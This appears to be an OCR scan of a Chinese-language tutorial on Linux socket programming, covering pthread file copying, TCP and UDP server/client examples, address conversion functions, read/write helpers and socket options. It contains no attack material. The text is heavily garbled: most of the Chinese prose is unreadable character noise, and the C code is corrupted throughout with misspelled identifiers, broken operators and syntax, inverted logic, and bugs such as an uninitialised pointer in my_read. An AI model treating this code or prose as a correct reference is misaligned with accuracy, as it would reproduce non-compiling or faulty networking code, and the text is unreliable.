char butfer[BUFFER],*buffer_p;

struct copy_file *file=(struct copy_file *)arg;

infile=file->;infile;

outfile=file->;outfile;

/% DO ERREIR IS BITAT (A f 2 o) S B R T T ABRAT T A A BENAE T +/
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if((bytes_copy_p=(int *)malloc(sizeof(int)))==NULL) pthread_exit(NULL);
bytes_read=bytes_write=0;

*bytes_copy_p=0;

[ ARG AP DA EY +/
while((bytes_read=read(infile,buffer, BUFFER))!=0)
{

if((bytes_read==-1)&&(errno!l=EINTR))break;

else if(bytes_read>;0)

{

buffer_p=Dbuffer;
while((bytes_write=write(outfile,buffer_p,bytes_read))!=0)
{

if((bytes_write==-1)&&(errno!l=EINTR))break;
else if(bytes_write==Dbytes_read)break;

else if(bytes_write>;0)

{

buffer_p+=bytes_write;

bytes_read-=bytes_write;

}

i

if(bytes_write==-1)break;
*bytes_copy_p+=bytes_tead;

}

}

close(infile);

close(outfile);

pthread_exit(bytes_copy_p);

H

int main(int argc,char **argv)

{

pthread_t *thread;

struct copy_file *file;

int byte_copy,*byte_copy_p,num,ij;

char filename[BUFFER];

struct dirent **namelist;

struct stat filestat;

/* FFEETTER AR N m AT RSO (S H S AN +/
if((num=scandir("." ,&namelist,0,alphasort))<0)
{

fprintf(stdert,"Get File Num Error: %s\n\a"strerror(errno));
exit(1);

}

/* SEERE O IC A 8] SR AT L BEX A Z ) *+/
if(((thread=(pthread_t *)malloc(sizeof(pthread_t)*num))==NULL)| |
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((file=(struct copy_file *)malloc(sizeof(struct copy_file)*num))==NULL)

)

{

fprintf(stdert,"Out Of Memory!\n\a");
exit(1);

}

for(i=0,j=0;i<num;i++)

{

memset(filename,"\0',BUFFER);
strepy(filename,namelist->;d_name);
if(stat(filename,&filestat)==-1)

{

fprintf(stdert,"Get File Information: %s\n\a" strerror(errno));
exit(1);

}

/* BATBWEHR */

if(IS_ISREG(filestat.st_mode))continue;
if((file[j].infile=open(filename,O_RDONLY))<0)

{

fprintf(stdert,"Open %s Error: %s\n\a" filename,strerror(errno));
continue;

}

streat(filename," . bak");
if((file[j].outtile=open(filename,O_WRONLY | O_CREAT,S_IRUSR | S_IWUSR))
<0)

{

fprintf(stdert,"Creat %s Error: %s\n\a" filename,strerror(errno
)

continue;

}

/% BUEERE BEATSCAFPE DL +/
if(pthread_create(&thread|j],NULL,copy,(void *)&file[j])!=0)
fprintf(stdert,"Create Thread[%d] Error: %s\n\a",istrerror(errno));
j++;

H

byte_copy=0;

for(i=0;i<ji++)

{

/* FEAFERREET A +/

if(pthread_join(thread,(void **)&byte_copy_p)!=0)
fprintf(stdert,"Thread[%d] Join Error: %s\n\a",
i,strerror(errno));

else
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{

if(bytes_copy_p==NULL)continue;

printf("Thread[%d] Copy %d bytes\n\a",i,*byte_copy_p);
byte_copy+=*byte_copy_p;

/% BETRIALE copy PRGN AE */
free(byte_copy_p);

}

}

printf("Total Copy Bytes %d\n\a",byte_copy);
free(thread);

free(file);

exit(0);

}

LRI G B T 0% T2 AR FA DR T DL R X S
Getting Started With POSIX Threads

The LinuxThreads library

<RIEFFE—hIfEHE>
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FINE MiRmIz
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:IJmm%%%*ﬁi%ﬁﬁ%@%@%%%#ﬁﬁio%%M%%Eﬁ%&,%?M%

IR R ORI . AEIXAN MRS, 4R T Linux FIMSGFEROR, KR — DAL
TAWCZ M, 523 Linux MRS, A DAERATEIE A B RIRE . R —
RLELIE Y hacker, WAZ0 48 ) 26 G P HOA o

PAEAS MG Bl D2 T V2 5T Linux MEEGiRE 7 A, M2 LA T2 KT
W28 i REJT IR AR, KEHARRTL £F A AXERSAAR ERME Linux 4
ALY, W T3R5 2] Linux B REEGTEMITAG AN, BT AR T i BT i 1 1 0 2 A 6
W, BIEREIR RHR, X EBIGHIRHK T .
FEIX—AFET R, B MUART LA TR, R RACEMAE U T, AIAE
TR 3 A BERI VRN A W ARE — S s RS o 45 1 ik BRATT 254 2 Linux (K )
HEe !
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1. Linux M Z&E11R 9148

1.1 &P AR IR 5 A

PO 28 AR 3 PR R P A A 3 K %) DX A2 O 28 R 2 1 P A 508 23 2 s PR -5 2 it
254 Uiy

W 288 R 702 S0 IR SS BRE 7 I 8, S e 8 g IR P I8 AT 1 N 2. — Pk 6 A2 R 5%
i (AR AE—A o BT, BRI — AR P i R Ak T K.

12 HHKES

FH T 19X 28 2 P A2 A PR A0 23 2E RS, T AT TR R B BRI, kg b FRAT 1 A7 0 B e — 6
i FH R 285 i 4

netstat

T4 netstat A2 K Wk 73 190 268 P34 452 86 bl & RT402 11 G U 45 W 28 R4 B netstat A VF 2 11)
I BATTH LS -an FHR IR TEN 1 I 40 0R A 22 T30 & B T3 AT T v] LA FH 5
Wy WERAS TR0 IR 15 L

telnet

telnet A&/ R I AR 4R I AR 77 AF2 BAT 1 56 4 mT BAFHX AN R >R R B AT T (0 e 25 B A2
I, EE BT TR AR 55 28 R A WA W 8888 Jiig 11, Bl 1A AT telnet localhost 8888 K7t

T MR 5 i AR

1.3 TCP/UDP f4H

TCP(Transfer Control Protocol) % 4 il P S —Ff [ 1) 14422 PR R 80, 2 FRAT THR I 2 7
FEAE AT 3K AN ISR I i, 190 4 1) DL CRAIEFRATT (0 2% 7 i R e 45 i R 34 42 02 M 5 (1), 22 4 ).

UDP(User Datagram Protocol) I/ Bt B30 — PR Il [ 3 42 (K S0 IX R B SO T AN REDRIE
FRAT Y 2 R P PR P 1) T ATRAT TR A 20 5 R e — ORI TCP ML

2. MNFEMEEREITLE (TCP)

:IJmmA%%ﬁﬁ%ﬁﬁﬁim&w%ﬁﬁﬂ%%ﬁ%ﬂ%ﬁ?ﬁﬁw&aﬂﬁﬁ

JUA BR3P A S TR SO R IR AT, AT T AT LUKE S AN R 15 7 R T 1) SCAF:
(IR AT RIRAT JX U Tinux FIBERTEORVER) G A BATTAT LU i) IR 75 152 5 A 5
PR 26 2 R R B AT

2.1 socket

int socket(int domain, int type,int protocol)

domain: 1 BHERAT I Z8 A2 7 P 78 16 ALK A 138 TR PR (AF_UNIX Fil AF_INET %§). AF_UN
IX HAEWS T8 Unix RETUERERNESS, 1M AF_INET 525X Internet (19,1 T LLACVRAE
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R L AEAS (43T man socket I &I domain WEEIIE PE_*IMANZE AF_*, K4
glibe /& posix FJSEEL FrLAT PR ACES T AR AR FAT T #8 ) A D).

type: AT FLE TR (38 P SOCK_STREAM,SOCK_DGRAM %5) SOCK_STREAM
KW

FATHIR) 2 TCP WA R B FZ IR 1R, PT 5 X o 8] 17 BB ) FEARFUR. SOCK_DGRAM
RHIFATHIH A UDP PR e i K g AN Al & G #2315

protocol: I TIRAIFRE T type, I LAIX AN 7 FATT— ¢ L ZEH 0 SRARE T LA T sock

et A W ZE I IBCREAS (R 7HE 28 D I 3R [ ST AR FF, RO IR [9]-1, 7 ereno 7T HIE HY
(I TE A 17 DL

2.2 bind

int bind(int sockfd, struct sockaddr *my_addr, int addtlen)

sockfd: #&H socket Wi IR [A] ) SCAFFHIR T

addrlen: & sockaddr &5 IF)H S,

my_addr: £ Mg N sockaddr T84T, fE<linux/socketh>;FH sockaddr [ E X

struct sockaddr{

unisgned short as_family;

char sa_data[14];

55

Al T RGN, FATT— AN Sk S A ] 53 b — AN G54 (struct sock
addr_in) H AT AF <linux/inh>;F sockaddr_in & X

struct sockaddr_in{

unsigned short sin_family;

unsigned short int sin_port;

struct in_addr sin_addr;

unsigned char sin_zero[8];

BATEEAE ] Internet T LA sin_family — 4 AF_INET,sin_addr % & & INADDR_ANY #
7N A] BL AEAAT ) M LIE AR sin_port A& FATTE I UT (136 F1 5 sin_zero[8]/& FIRIH A

... bind R AR5 11 17] socket 3R [0 R SCAFHER AT ARG AL — kS BTy 3R 1] 0, I f 175 LA
socket —FF

2.3 listen

int listen(int sockfd,int backlog)

sockfd: 72 bind J& ) SCAF IR AT,

backlog: B¢ B 1 KAFBA B R I BE 2447 2 A% )™ i R P AN IR 95 S AHE I, A8 XA
RIS listen BRECKS bind FOSCAFRA T AL 0 MW B2 7 3R [R] A 15 00 b
ind —#¥f.

2.4 accept

int accept(int sockfd, struct sockaddr *addr,int *addrlen)

sockfd: S listen Jii IO SCAFIRTT.

addr,addrlen 2 F K& 27 diis R P TS 10, IR 55 i S AR Fi BH AT LA T, bind,li

sten %l] accept %E&%%&ﬁﬁuﬁ)ﬂ lj/‘J l%liﬁ,accept Tﬁﬁﬁ Hﬂ',ﬂﬁ%%’%ﬁﬁ D@*ﬁ'ﬁﬁ%ﬂ%*EBﬁ%iUﬁﬁﬁ\
PR R T . accept UL NIk [R]85 J5 114 K 55 st i PR SCAF IR AF JXAN N iR 55

a i ] DL iR AT HAE R T RO R [A]-1

2.5 connect

int connect(int sockfd, struct sockaddr * serv_addr,int addrlen)
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sockfd: socket 1 [FI ¥ ST IR 1T

serv_addr: A7 T RS ddin 1) IERAF L sin_add 2 IRk 45 i ) sk
addtlen: serv_addr K&

connect PREE R P i FH A [7) R 45 g 14 422 0] G DI T 3R [B] 0,0kt A2k [i] ik 25 i 388 TR PR SC A
FRTT RN [E]-1.

2.6 L)

I 55 st i R

JFokoktottor MR P18 7 (server.c) ¥HpFkRIRLkk /
#include <stdlib.h>;

#include <stdio.h>;

#include <errno.h>;

#include <stringh>;

#include <netdb.h>;

#include <sys/types.h>;

#include <netinet/in.h>;

#include <sys/socket.h>;

int main(int argc, char *argv]])

{

int sockfd,new_fd;

struct sockaddr_in server_addr;

struct sockaddr_in client_addr;

int sin_size,portnumber;

char hello[]="Hello! Are You Fine?\n";

if(argc!=2)

{

fprintf(stdert,"Usage: %s portnumber\a\n",argv[0]);
exit(1);

H

if((portnumber=atoi(argv[1]))<0)

{

fprintf(stdert,"Usage: %s portnumber\a\n",argv[0]);
exit(1);

H

/% JRG5 S T AR AL socket FlIBFT */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{

fprintf(stdert,"Socket error:  %os\n\a",strerror(errno));
exit(1);

H

/* RS Ze MR sockaddr G5 */
bzero(&server_addt,sizeof(struct sockaddr_in));
server_addr.sin_family=AF_INET;
server_addr.sin_addr.s_addr=htonl(INADDR_ANY);

server_addr.sin_port=htons(portnumber);
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/% YL sockfd HERFT */

if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==
-1)

{

fprintf(stdert,"Bind error: %s\n\a"strerror(errno));
exit(1);

§

/% WS sockfd #EIRRT */

if(listen(sockfd,5)==-1)

{

fprintf(stdert,"Listen error:  %s\n\a" strerror(errno));
exit(1);

§

while(1)

{

/* WR45 A BLIE, B B % R P @i B +/
sin_size=sizeof(struct sockaddr_in);
if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size
) ::-l)

{

fprintf(stdert," Accept error:  %s\n\a",strerror(errno));
exit(1);

§

fprintf(stdert,"Server get connection from %os\n",
inet_ntoa(client_addr.sin_addr));
if(write(new_fd,hello,strlen(hello))==-1)

{

fprintf(stdert,"Write Error: %s\n",strerror(errno));
exit(1);

¥

/x XA CEEE W +/

close(new_fd);

/* PRI A */

¥

close(sockfd);

exit(0);

¥

% P

[/ foRkotok g):l gﬁﬁ%%}? client.c Frrriopiomiork /
#include <stdlib.h>;

#include <stdio.h>;

#include <errno.h>;

#include <stringh>;

#include <netdb.h>;
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#include <sys/types.h>;

#include <netinet/in.h>;

#include <sys/socket.h>;

int main(int argc, char *argv]])

{

int sockfd;

char buffer[1024];

struct sockaddr_in server_addr;

struct hostent *host;

int portnumber,nbytes;

if(argc!=3)

{

fprintf(stdett,"Usage: %s hostname portnumber\a\n",argv[0]);

exit(1);

}

if((host=gethostbyname(argv([1]))==NULL)

{

fprintf(stdert,"Gethostname error\n");

exit(1);

}

if((portnumber=atoi(argv|2])) <0)

{

fprintf(stdert,"Usage: %s hostname portnumber\a\n",argv[0]);

exit(1);

}

/% BPERRIFR ST, sockfd HiiRFT */

if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{

fprintf(stdert,"Socket Error: %s\a\n" strerror(errno));

exit(1);

}

/* B R TE R AS B K B R +/

bzero(&server_addr,sizeof(server_addr));

server_addr.sin_family=AF_INET;

server_addr.sin_port=htons(portnumber);

server_addr.sin_addr=*((struct in_addr *)host->;h_addr);
/* BRI RERE R *+/

if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddt)
::_1)

{

fprintf(stdert,"Connect Error:  %s\a\n" strerror(errno));

exit(1);

H

[ EERINT */
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if((nbytes=read(sockfd,buffer,1024))==-1)
{

fprintf(stderr,"Read Error: %s\n" strerrot(etrno));
exit(1);
}
buffer[nbytes]="\0';
printf("T have received: %os\n",buffer);
S */
close(sockfd);
exit(0);
}
MakeFile
EREEAEH GNU 1) make SEHFE PG PE. T make MIPELIUEHI L Make {3 FH /41
HHHAHHHAH Makefile #EHHHHHHHHH
all: server client
server: server.c
gce $° -0 $@
client: client.c
gce $° -0 $S@
12T make JG & A NRET server(IRS5 i) Al client(& /7 Uiy) JEI81T./server port
number& (portnumber FEAHEHL—/N KT 1204 HATE /etc/services HHHILI 505 i 888
8 If T)SRJGIZAT ./client localhost 8888 & & A4 4 . (Rt i LA telnet Fl n
etstat IR, b N AR 25 R P AN I AN AT s B VR 2 R R
TEBA R, BoAE b — AT PR A BEH.
27 B4
Jol PR AR P 5% T2 s A 8 2 2L B PR -2 ) S M IR 554 S e A1 AR S N R — ot
J 55 4 i
socket-->;bind-->;listen-->;accept
) i
socket-->;connect

3. RFEFFAEFHIEE 2 RE

\ +
Jg_ AT FRATI R A ) e M RN 4% 7 T 1A R R

3.1 PR H R AL

FE W 2% LT A VF 2 AL &% IX LU LS A2 R B (10 7 35 U AN A (KD, Eedn 1386 85
F AR AE A I I PR A S, 5 1 £ R, ITT alpha GBS B 8T, 0 17 48—l ok A7E Li
nux AT LTI 7 R R 4

unsigned long int htonl(unsigned long int hostlong)
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unsigned short int htons(unisgned short int hostshort)

unsigned long int ntohl(unsigned long int netlong)

unsigned short int ntohs(unsigned short int netshort)

EXPUAN AR A h AR host, n A8FK network.s fXFE short] 3K long 5 —
)R SR ABL &5 L1 long Bdla A6 4 2% L[ long. HoAB LA BB E X ZEAZ

3.2 TP AUEA IR HE

FERZE ERRGE— G LA T LU 1P sl @ A A4 IS4 JRATT S 4 3T e 4

struct hostent *gethostbyname(const char *hostname)

struct hostent *gethostbyaddr(const char *addr,int len,int type)

1F <netdb.h>;F7 struct hostent [ 5E X

struct hostent{

char *h_name; /* FEHLIIERX LR */

char *h_aliases; /* EHLHIGI4 */

int h_addrtype; /* FAHLAIHINERAY AF_INET*/

int h_length; /* FEHLIHHEACEE X T 1P4 42 4 54797 32 fir*/

char **h_addr_list; /* EALK IP Hilk%) 58 */

}

#define h_addr h_addr_list[0] /* THLIIZE— 1P Huhkx/

gethostbyname AJ LB HLER 44 (W1 linux.yessun.com) 4 — A5 M FR 5 AEIX N 451 5L
[T p e g EAEEPSN

gethostbyaddr A LUK —A™ 32 A7) TP Huhil:(COA80001)#44e hy 45 4y 4 4T
XA B ZCR M IR [F] NULL HLE h_errno 7% 1, I H h_strerror() AT LAFS 240 (1)
R B

3.3 FRAHI IP 0 32 AL TP B3k,

7 W 2% _ETRIBATTT I 1P #B B0 1 (192.168.0. DK KK, TLE struct in_addre 45 FH
FHIE 32 A7 18, FATT BB 32 7 IP(COA80001)F2: ) 192.168.0.1 A T H4FA TR LA
AP 1T A bR K

int inet_aton(const char *cp,struct in_addr *inp)

char *inet_ntoa(struct in_addr in)

PRECIL T 2 fAER ascii n ARFE network 5 — PN ERER K ab.e.d I 1P #4804 32 f7 1) 1
PAFAEAE inp FRET HLIELEE AR 32 47 TP Fe ol ab.c.d IR

3.4 REEREH

1 190 258 2 L T BRAN 1A B 575 BE i 1. TP R 5515 JEL XA A AT T ] AR T LA L
A REL

int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen)

int getpeername(int sockfd,struct sockaddr *peeraddsr, int *addrlen)

struct servent *getservbyname(const char *servname,const char *protoname)

struct servent *getservbyport(int port,const char *protoname)

struct servent

{

char *s_name; /* IEXRE% */

char **s_aliases; /* N4 %% */

int s_port; /* Ui 15 */
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char *s_proto; /* i HIIHML */

}

—RRFRATAR A F X LA™ bR B R 55 7 S, 244 FRAT T2 B 32 1 9 115 IS AE connece i T
DAL RT3 FR G070 W 3 115 6 T 1R 55-3m, 3 AT 1) INADDR_ANY 78 )5 4 1453114
P00 TP AT AT LALE accept W ZN G A 75 2] 1P Motk

FEM 48 1AV 22 (RS VR 5 s 11 21 X fep80 X6 B, WWWS T 15 248 52 [ 115
FRIR S5 FAT T LA 25 DU AS R 380 AR S o 1 4 213 115 7T LTS8 =S ek 5
3.5 — AT

#include <netdb.h>;

#include <stdio.h>;

#include <stdlib.h>;

#include <sys/socket.h>;

#include <netinet/in.h>;

int main(int argc ,char **argv)

{

struct sockaddr_in addr;

struct hostent *host;

char **alias;

if(arge<2)

{

fprintf(stdert,"Usage: %s hostname|ip..\n\a",argv[0]);

exit(1);

H

argvtt;

for(;*argvi=NULL;argv++)

{

/* X R IAME B 1P*/

if(inet_aton(*argv,&addr.sin_addr)!=0)

{

host=gethostbyaddr((char *)&addr.sin_addr,4,AF_INET);

printf("Address information of Ip %s\n" *argv);

H

else

{

/% R AETE S Ak A4 2/

host=gethostbyname(*atgv); printf("Address information

of host %s\n" *argv);

H

if(host==NULL)

{

/* WA H AT/

fprintf(stdert,"No address information of %s\n" *arg

v);
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continue;

}

printf("Official host name %s\n",host->;h_name);

printf("Name aliases: ");

for(alias=host->;h_aliases;*alias]=NULL;alias++)

printf("%s ," *alias);

printf("\nIp address: ");

for(alias=host->;h_addr_list;*aliasl=NULL;alias++)

printf("%s " inet_ntoa(*(struct in_addr *)(*alias)));

b

}

FERXAME] 1~ HLIL A T T T AN 2 1P 3 1A FATT ] T PRI B B — IR IRAT MR
B2 IP T LAV inet_aton, ZRIGFIIN %, 7 1 FH gethostbyname 1453 245 B

4. SEERIZE R

HIATE L TIER JAT T —DUE AT IS T AE Linux N IHERATHT T L

A T SRR T SRR 55 s S A1 7 S BEA T A A Ik, B SO R 477 L T 152 5 2R
VT BB BAE SRS FE.

4.1 GRH write

ssize_t write(int fd,const void *buf,size_t nbytes)

write B ECKE buf FK) nbytes 715 A A ANSCAFHIR T £d. DN 3% 1155 1845 K R M
R JFBCE errno A2, (RS REI P2 BA T ) B 7 SO HE A 5 AT Rl mT e

Dywrite (IR [BMEK T 08775 T #7) si# 2 4= 1 £l

23R [P AN T OB I B T i % AT EERR P A RS AR AR .
AIERAT R BINTR R 7E S g L T s e,

U1ER A EPIPE 37 P 4545 tH L 1 n) /Lo 7 L850 P T 340
h T REEECL B SLIRAT B O 'S —ANE BRECRAL BEIZ LR DL
int my_write(int fd,void *buffer,int length)

{

int bytes_left;

int written_bytes;

char *ptr;

ptr=buffer;

bytes_left=length;

while(bytes_left>;0)

{

/* TTIRE*/
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written_bytes=write(fd,ptr,bytes_left);

if(written_bytes<=0) /* 5 */

{

if(ereno==EINTR) /* 4R RAIMkLEE*/
written_bytes=0;

else /* HARAT R BATINE S UFHGER T/

return(-1);

}

bytes_left-=written_bytes;

ptr+=written_bytes; /* M| T HL T Qh&L */

}

return(0);

}

4.2 ERH read

ssize_t read(int fd,void *buf,size_t nbyte) read FRELAE 11 5T M £d sz H PN 2. 24132
JR DN read 3[R SE R 32 IR 715 80 A R IR PIRE /S 0 R DA BB ET R T /AN T
0 7 HOL TR DR AR AT DO BINTR Ui 322t b Wi 5[ 1, WikE ECONNREST &7k
“@%

L TR AN R AR S S B 2R AL
int my_read(int fd,void *buffer,int length)

{

int bytes_left;

int bytes_read,;

char *ptr;

bytes_left=length;

while(bytes_left>;0)

{

bytes_read=read(fd,ptr,bytes_read);

if(bytes_read<0)

{

if(errno==EINTR)

bytes_read=0;

else

return(-1);

H

else if(bytes_read==0)

break;

bytes_left-=bytes_read;

ptr+=bytes_read;

H

return(length-bytes_left);

H

4.3 Fm &S

AT TR P A bR S AT TR AT LA i 5 i S R 5 i A 3 a1 bR AT A i
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AN AT LM R 5 5K

/* R AR SSRE */

struct my_struct my_struct_client;

write(fd,(void *)&my_struct_client,sizeof(struct my_struct);

/* W55 i R/

char buffer[sizeof(struct my_struct)];

struct *my_struct_server;

read(fd,(void *)buffer,sizeof(struct my_struct));

my_struct_server=(struct my_struct *)buffer;

5 W 2% LA S ECH N AT S B AL char ST [ 08 A 328 BEMSC IR IR o Al 2 —
PR TR IR BATBA 0 BAE W 2% 1A% 4R B (A D AR B BeAT AR R SR AT
AR TSR FITAR 7] 1 N 7%

5. F PEER &%

$
éEkim%@a%%ﬁM%ﬁ?%*ﬁ@i%%%ﬂﬁﬁ%%%ﬂﬁﬁmiﬁiﬂug

th

KRBT BT TCP WSl I I Z8 P T IAEAE Linux 1 AR 0 A5 7 40 2 I 3AT Lt 2 1
FIVURS (0. BATRI AL 4R LR PR 2% PO FA TR 5] — T uDP
PRSI 2R

5.1 PN FEI R

int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct socka

ddr * from int *fromlen)

int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct s

ockaddr *to int tolen)

sockfd,buflen R SCFH read,write —#F, 73 | Z R B R FIA T, R IL B HEMUR 220 X
KN reevirom 15T sockfd B W1 from A& NULL A LE from HLHIAAGE T 15 B
YR P D, Wt S B AR AN ESS R 7] LUK from 1 fromlen 13 '# A4 NULL.sendto 157
1] to RILMF EILINAE o HLIRIAAE T WOm B 07 IR Bk}

5.2 — A5

/* G5 uRFEF server.c */
#include <sys/types.h>;
#include <sys/socket.h>;
#include <netinet/in.h>;
#include <stdio.h>;
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#include <errno.h>;
#define SERVER_PORT 8888
#define MAX_MSG_SIZE 1024
void udps_respon(int sockfd)
{
struct sockaddr_in addr;
int addtlen,n;
char msg[MAX_MSG_SIZE];
while(1)
{ /% PG L S 3 k4t b2 *+/
n=recvfrom(sockfd,msg, MAX_ MSG_SIZE,0,
(struct sockaddr*)&addr,&addrlen);
msg[n]=0;
* BRIl E TREE */
fprintf(stdout,"I have received %os",msg);
sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen);

}

}

int main(void)

{

int sockfd;

struct sockaddr_in adds;
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)

{

fprintf(stdert,"Socket Error: %s\n",strerror(errno));
exit(1);

}

bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=htonlINADDR_ANY);
addr.sin_port=htons(SERVER_PORT);
if(bind(sockfd,(struct sockaddr *)&ddr,sizeof(struct sockaddr_in))<0

)
{

fprintf(stdert,"Bind Error: %s\n",strerror(errno));
exit(1);

}

udps_respon(sockfd);

close(sockfd);

H

/* B PIREY )

#include <sys/types.h>;

#include <sys/socket.h>;
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#include <netinet/in.h>;

#include <errno.h>;

#include <stdio.h>;

#include <unistd.h>;

#define MAX_BUF_SIZE 1024

void udpc_requ(int sockfd,const struct sockaddr_in *addr,int len)
{

char bufferf]MAX_BUF_SIZE];

int n;

while(1)

{ /% NBERLBEN,'S B R S5sin */

fgets(buffer, MAX_ BUF_SIZE stdin);
sendto(sockfd,buffer,strlen(buffer),0,addr,len);

bzero(buffer, MAX_BUF_SIZE);

/* S B BB fRgE L +/
n=recvfrom(sockfd,buffer, MAX_BUF_SIZE,0,NULL,NULL);
buffer[n]=0;

tputs(buffer,stdout);

b

H

int main(int argc,char **argv)

{

int sockfd,port;

struct sockaddr_in adds;

if(argc!=3)

{

fprintf(stdert,"Usage: %s server_ip server_port\n",argv|[0]);
exit(1);

H

if((port=atoi(argv[2]))<0)

{

fprintf(stdert,"Usage: %s server_ip server_port\n",atgv[0]);
exit(1);

H

sockfd=socket(AF_INET,SOCK_DGRAM,0);

if(sockfd<0)

{

fprintf(stdert,"Socket Error: %s\n",strerror(errno));
exit(1);

}

/* TSR TR +/
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(port);
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if(inet_aton(argv|1],&addr.sin_addr)<0)

{

fprintf(stdert,"Ip error: %s\n",strerror(errno));

exit(1);

}

udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in));

close(sockfd);

}

HiHARHHAR DTS Makefile #HHH#HHHRH#

all: server client

server: server.c

gCC -0 Server server.c

client: client.c

gcc -o client client.c

clean:

rm -f server

rm -f client

rm -f core

TR S R SRR SR G RIS AT B, e BB AN R B AR TR LT R SEIE AT IS5
Uit SRS I AT 8 P S A2 ) i AN RN RAE IR S5 i, A R 5 i s DA EIE R
B B AT SO RIS AT AN i ) R 55 i e LA R AT LA B S . FRAR AT BE AL
AN ) i LB ZE T A SRR RN TS A R B T VRIS T UDP MR A
DRAIE ] SE 2 A 1 225K i DL BATIHE AR AR R IR, 2R S0 F AN BE S DRAE B AT T HH R4S
SABEFTC IR K Z1E H . — B S IRATTAE i 5 9 28R 7 R I R 2 2 1 TCP s

\s
4\

6. BREZRFERI

tj:%E%Rﬁ%%iﬁﬁmE%%%T@Zﬁ%@%iﬁ%%ﬁ?ﬁ@%*%&ﬁ

(read,write) J [ 2% Fit P HL T f5 5 AR 1Y) B 50 A1 e D 263 1) 3045 R 80 AE 3K — 3 L g AT —
FEE R 27 > I 23 SEA 11 ey R R B X — = AT ) S A LA R AR

6.1 recv Fl send

recv Ml send BREEEME T H read Fl write ZZAZ M IIRE AL SN ML T 5 IS HORIE I
PG ERAE.

int recv(int sockfd,void *buf,int len,int flags)

int send(int sockfd,void *buf,int len,int flags)

BT = DN SN read,write —FE SIS HATLUE 0 s 2 LU N4
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| MSG_DONTROUTE | Ak |

| MSG_OOB | #32uli# ik SN |

| MSG_PEEK | &HHHE I ANRGELEZ X ELR |

| MSG_WAITALL | 2R i1 5 |

| |

MSG_DONTROUTE: #2& send B EU HI IFR & XANbR & 5 UF 1P 30 H 1 EHEA RN 4%
[i]

A T PR K R X ARG — M 4592 W RN it b AR LT

MSG_OOB: K7 A] AT 641 1 (1 5l DG SN B BATT DA £ ke ).
MSG_PEEK: & recv FRELIFIH AR 22,208 FUR MR GE G 1 X i N 28, 170 AN 28 R Gz vy
DX PR PN 25 XA IR RIS e 53R 2 — R (1) A 2% AT AT 2 AN R 52 5 5l 1) ) LA A P
EAFRE.

MSG_WAITALL J2 recv bR LIRS HIAR & 27 56 2 BT A5 BRI A3 (3] A X AN bR & 11
I i recy [B]— T FH.ZE, FL2IFR G [ 45 A3 2 B A A T4 e, 1) Ui 8 T HR e 19

ST, bR 50 IR B SR [ A T len 2) 41231 T SCEFIA 45 R I B 250E i IR (B3R B/ T

len 3) 2431 & AE AR AR P11, FLE B AR 0 MR A 55 (errno)

i flags 3 0, U read,write —AF 1A A LB 1 JLANE I AN I AT L Br B H AR

/b ALY F  Linux Programmer's Manual 15 21 FE40 fif R

6.2 recvfrom Fll sendto
XA R — RS EE B A N SR 7 29 P (UDP), AT DA ERT 242 T .
6.3 recvmsg Ml sendmsg

recvmsg M1 sendmsg AJ BASEI AT A7 (1155 pR AR D .
int recvmsg(int sockfd,struct msghdr *msg,int flags)
int sendmsg(int sockfd,struct msghdr *msg,int flags)
struct msghdr

{

void *msg_name;

int msg_namelen;

struct iovec *msg_iov;

int msg_iovlen;

void *msg_control;

int msg_controllen;

int msg_flags;

}

struct iovec

{

void *ov_base; /* Zei X FFUR I HbE */

size_t iov_len; /* ZEMIX KRR */

}

msg_name Ml msg_namelen 45 F 2 AR 0] 1 452 N (UDP), BT A7t BESORT A2 7 1 s
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17 B.msg_name SLF5 I —ME 1 struct sockaddr FIFE%T,msg_name L KE. Y&
PR 1 ) S B I IX P AN N, 12 NULL. msg_iov fil msg_iovlen ¥& B2 R IE M % 1
X N 2. msg_iov & a5 FREN msg_iovlen Fi7 X AN S5 FI AL K /. msg_control Al
msg_controllen JX P22 E 2 HIERILWA AL VI BRI 1K) msg_flags 387 E LA KL
FHRAELL IR recv,send BT —HF

6.4 EEFHIRA
K ERE AR close A1 shutdown. [ close B FIFAT] G 1 S0 —FE.
6.5 shutdown

int shutdown(int sockfd,int howto)

TCP JEHIE XU (K (& AT 35 1), M BATMEH] close I, 23 1132 5 18 T8 S 0C P, A7 I e AT 1485
G R A7 ) XA g B AT AT LA shutdown B AN A ) howto, 2 e [FIR HUAN [7]
IPSEIVEW

howto=0 JXA™ I i 3 Gt 23 5 P e E A HE T AARERAT 4 T A 15 S

howto=1 15 A8 M1_F AR S 45 It A AT BLEE T

howto=2 KL GIIE, M close —Ff £ 2 BERERE R LI, U R AT J LA T HEREIL 55— Ak
T UER A EH] shutdown, A BT (1T REHANER B4 1 XA A THAER
T close AR T HERE B 7 HIIR AT

7. TCP/IP i

1’] Nl E B TCR/IP LS A ST B4 R TOPA4 L TP W33 52 L

FAT—

HE R A2 S IX AN H AT 2% B ) 72 L.

7.1 W &tER 5 2

U RARE T FNVEE RIS A RN % C 285018 T W E8 AR 40 )2 IX M AE &% 1
MNATTA T AR A B 0 5 (8 B4 S 0k 7 N E IR it N E KRR S22
NG 2, 2 2 A s i ik R B R o0 i T 2 DR AR A I, — R an SRR
Tt T LB ) — B T A B A 40 N — B e L — R
B AN LGS R T 0 RARA KGR VR L B 20 IX e A PG 1) B AN IE A&

53 )2 1,1 HL#5 2 AR AN ]

7.2 IP Wil

IP PSR AE P46 2 R AL 58 OB I AR A . R T AN R 1P4 R B ks
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N
0481632

|RRAS | B SR | RS 2R | B K |

| k5K |DF |[MF| W |

| ZEAFISTR] | PR | EERALKAN |

| Y8 1P btk |

| HI P Huhlk |

NHBATE —F 1P 45 5E X <netinet/ip.h>;

struct ip
{
#if _ BYTE_ORDER == _LITTLE_ENDIAN

unsigned int ip_hl: 4; /* header length */

unsigned int ip_v: 4; /* version */

